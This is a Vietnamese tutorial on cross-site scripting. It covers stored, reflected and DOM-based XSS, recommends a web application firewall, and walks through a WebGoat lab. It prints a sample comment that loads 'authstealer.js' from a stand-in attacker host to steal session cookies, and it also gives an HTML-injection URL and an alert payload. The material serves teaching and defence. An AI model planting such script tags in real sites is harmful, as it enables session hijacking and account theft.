Cross-site Scripting (XSS) xảy ra bất cứ khi nào ứng dụng lấy dữ liệu không đáng tin cậy và gửi đến máy khách (trình duyệt) mà không được xác thực. Điều này cho phép những kẻ tấn công thực thi các tập lệnh độc hại trong trình duyệt của nạn nhân.
Cross site scripting (XSS) là gì
Cross site scripting (XSS) là một vectơ tấn công phổ biến đưa mã độc vào một ứng dụng web dễ bị tấn công. XSS khác với các vectơ tấn công web khác (ví dụ: SQL injection), ở chỗ nó không nhắm mục tiêu trực tiếp vào chính ứng dụng. Thay vào đó, người dùng ứng dụng web mới là những người có nguy cơ bị ảnh hưởng.
Một cross site scripting attack thành công có thể gây ra những hậu quả nghiêm trọng đối với danh tiếng của doanh nghiệp trực tuyến và mối quan hệ của doanh nghiệp đó với khách hàng.
Tùy thuộc vào mức độ nghiêm trọng của cuộc tấn công, tài khoản người dùng có thể bị xâm phạm, các chương trình Trojan horse được kích hoạt và nội dung trang bị sửa đổi, khiến người dùng hiểu nhầm về việc sẵn sàng giao nộp dữ liệu cá nhân của họ. Cuối cùng, cookie phiên có thể bị tiết lộ, tạo điều kiện cho thủ phạm mạo danh người dùng hợp lệ và lạm dụng tài khoản cá nhân của họ.
Các cuộc cross site scripting attack có thể được chia thành hai loại: stored và reflected.
XSS được stored, còn được gọi là XSS liên tục, là thứ gây hại nhiều hơn cho cả hai. Nó xảy ra khi một tập lệnh độc hại được đưa trực tiếp vào một ứng dụng web dễ bị tấn công.
XSS reflected liên quan đến việc phản ánh một tập lệnh độc hại từ ứng dụng web lên trình duyệt của người dùng. Tập lệnh được nhúng vào một liên kết và chỉ được kích hoạt khi liên kết đó được nhấp vào.
Xem thêm Bảo mật wordpress cho người mới bắt đầu
Stored cross site scripting là gì
Để thực hiện thành công một cuộc tấn công XSS được lưu trữ, thủ phạm phải xác định lỗ hổng trong ứng dụng web và sau đó đưa tập lệnh độc hại vào máy chủ của nó (ví dụ: thông qua trường nhận xét).
Một trong những mục tiêu thường xuyên nhất là các trang web cho phép người dùng chia sẻ nội dung, bao gồm blog, mạng xã hội, nền tảng chia sẻ video và bảng tin. Mỗi khi xem trang bị nhiễm, tập lệnh độc hại sẽ được truyền đến trình duyệt của nạn nhân.
Stored XSS attack example
Trong khi duyệt trang web thương mại điện tử, thủ phạm phát hiện ra lỗ hổng cho phép nhúng thẻ HTML vào phần nhận xét của trang web. Các thẻ được nhúng trở thành một tính năng vĩnh viễn của trang, khiến trình duyệt phân tích cú pháp chúng với phần còn lại của mã nguồn mỗi khi trang được mở.
Kẻ tấn công thêm vào bình luận sau: Giá tuyệt vời cho một món đồ tuyệt vời! Đọc bài đánh giá của tôi tại đây <script src = ”http://hackersite.com/authstealer.js”> </script>.
Kể từ thời điểm này, mỗi khi trang được truy cập, thẻ HTML trong nhận xét sẽ kích hoạt một tệp JavaScript, được lưu trữ trên một trang web khác và có khả năng lấy cắp cookie phiên của khách truy cập.
Sử dụng cookie phiên, kẻ tấn công có thể xâm phạm tài khoản của khách truy cập, giúp anh ta dễ dàng truy cập vào thông tin cá nhân và dữ liệu thẻ tín dụng của mình. Trong khi đó, người truy cập, người có thể chưa bao giờ cuộn xuống phần bình luận, không biết rằng cuộc tấn công đã diễn ra.
Không giống như một cuộc tấn công được phản ánh, trong đó tập lệnh được kích hoạt sau khi một liên kết được nhấp vào, một cuộc tấn công được lưu trữ chỉ yêu cầu nạn nhân truy cập trang web bị xâm phạm. Điều này làm tăng phạm vi tấn công, gây nguy hiểm cho tất cả du khách cho dù họ có cảnh giác ở mức độ nào.
Từ quan điểm của thủ phạm, các cuộc tấn công XSS liên tục tương đối khó thực hiện hơn vì những khó khăn trong việc xác định vị trí của cả trang web bị buôn bán và trang web có lỗ hổng cho phép nhúng tập lệnh vĩnh viễn.
Xem thêm Lưu ý về bảo mật website
Ngăn ngừa / giảm thiểu tấn công XSS được lưu trữ
Tường lửa ứng dụng web (WAF) là giải pháp được sử dụng nhiều nhất.
WAF sử dụng các phương pháp chuyên biệt trong chống tấn công XSS.
Theo các phương pháp hay nhất trong ngành, tường lửa ứng dụng web đám mây của Imperva cũng sử dụng tính năng lọc chữ ký để chống lại các cuộc tấn công tập lệnh trên nhiều trang web.
WAF được cung cấp như một dịch vụ được quản lý, được duy trì thường xuyên bởi một nhóm chuyên gia bảo mật, những người liên tục cập nhật bộ quy tắc bảo mật với chữ ký của các vectơ tấn công mới được phát hiện.
Công nghệ nguồn cung ứng cộng đồng của Imperva tự động thu thập và tổng hợp dữ liệu tấn công từ khắp hệ thống mạng của mình, vì lợi ích của tất cả khách hàng.
Cách tiếp cận nguồn cung ứng cộng đồng cho phép phản ứng cực kỳ nhanh chóng với các mối đe dọa trong zero-day, bảo vệ toàn bộ cộng đồng người dùng trước bất kỳ mối đe dọa mới nào, ngay sau khi một nỗ lực tấn công được xác định.
Crowdsourcing cũng cho phép sử dụng hệ thống danh tiếng IP để chặn những người vi phạm nhiều lần, bao gồm cả các tài nguyên botnet có xu hướng được sử dụng lại bởi nhiều thủ phạm.
Các bài viết liên quan:
Hãy cho chúng tôi hiểu Tác nhân đe dọa, Vectơ tấn công, Điểm yếu về bảo mật, Tác động kỹ thuật và Tác động kinh doanh của lỗ hổng này với sự trợ giúp của sơ đồ đơn giản.
Các loại XSS
- XSS được lưu trữ – XSS được lưu trữ còn được gọi là XSS liên tục xảy ra khi đầu vào của người dùng được lưu trữ trên máy chủ đích như cơ sở dữ liệu / diễn đàn tin nhắn / trường bình luận, v.v. Sau đó, nạn nhân có thể truy xuất dữ liệu đã lưu trữ từ ứng dụng web.
- XSS được phản ánh – XSS được phản ánh còn được gọi là XSS không liên tục xảy ra khi thông tin nhập của người dùng được ứng dụng web trả về ngay lập tức trong thông báo lỗi / kết quả tìm kiếm hoặc thông tin đầu vào do người dùng cung cấp như một phần của yêu cầu và không lưu trữ vĩnh viễn dữ liệu do người dùng cung cấp .
- DOM Based XSS – DOM Based XSS là một dạng XSS khi nguồn dữ liệu nằm trong DOM, phần chìm cũng nằm trong DOM và luồng dữ liệu không bao giờ rời khỏi trình duyệt.
Thí dụ
Ứng dụng sử dụng dữ liệu không đáng tin cậy trong việc xây dựng mà không có xác nhận. Các ký tự đặc biệt phải được thoát ra.
http://www.webpage.org/task/Rule1?query=try
Kẻ tấn công sửa đổi tham số truy vấn trong trình duyệt của họ thành –
http://www.webpage.org/task/Rule1?query=<h3>Hello from XSS”</h3>
Xem thêm Kiểm tra lỗ hổng bảo mật Reflected Cross-site Scripting (XSS)
Tiến hành kiểm tra
Bước 1 – Đăng nhập vào Webgoat và điều hướng đến Phần tạo kịch bản trên nhiều trang (XSS). Hãy để chúng tôi thực hiện một cuộc tấn công Stored Cross-site Scripting (XSS). Dưới đây là ảnh chụp nhanh của kịch bản.
Bước 2 – Theo kịch bản, chúng ta hãy đăng nhập với tên Tom với mật khẩu ‘tom’ như đã đề cập trong chính kịch bản. Nhấp vào ‘xem hồ sơ’ và vào chế độ chỉnh sửa. Vì tom là kẻ tấn công, chúng ta hãy đưa tập lệnh Java vào các hộp chỉnh sửa đó.
<script>
alert(“HACKED”)
</script>
Bước 3 – Ngay sau khi cập nhật xong, tom nhận được một hộp cảnh báo với thông báo “bị tấn công” có nghĩa là ứng dụng dễ bị tấn công.
Bước 4 – Bây giờ theo kịch bản, chúng ta cần đăng nhập với tư cách jerry (HR) và kiểm tra xem jerry có bị ảnh hưởng bởi tập lệnh được chèn hay không.
Bước 5 – Sau khi đăng nhập với tư cách Jerry, chọn ‘Tom’ và nhấp vào ‘xem hồ sơ’ như hình bên dưới.
Trong khi xem hồ sơ của tom từ tài khoản của Jerry, anh ấy có thể nhận được hộp thông báo tương tự.
Bước 6 – Hộp thông báo này chỉ là một ví dụ, nhưng kẻ tấn công thực sự có thể thực hiện nhiều hơn là chỉ hiển thị một hộp thông báo.
Xem thêm Kiểm tra và Khai thác lỗ hổng Stored Cross-site Scripting (XSS)
Cơ chế phòng ngừa
- Các nhà phát triển phải đảm bảo rằng họ thoát khỏi tất cả dữ liệu không đáng tin cậy dựa trên ngữ cảnh HTML như nội dung, thuộc tính, JavaScript, CSS hoặc URL mà dữ liệu được đặt vào.
- Đối với những ứng dụng cần các ký tự đặc biệt làm đầu vào, cần có các cơ chế xác thực mạnh mẽ trước khi chấp nhận chúng làm đầu vào hợp lệ.
Xem thêm Kiểm tra lỗ hổng bảo mật Cross-Site Request Forgery (CSRF)
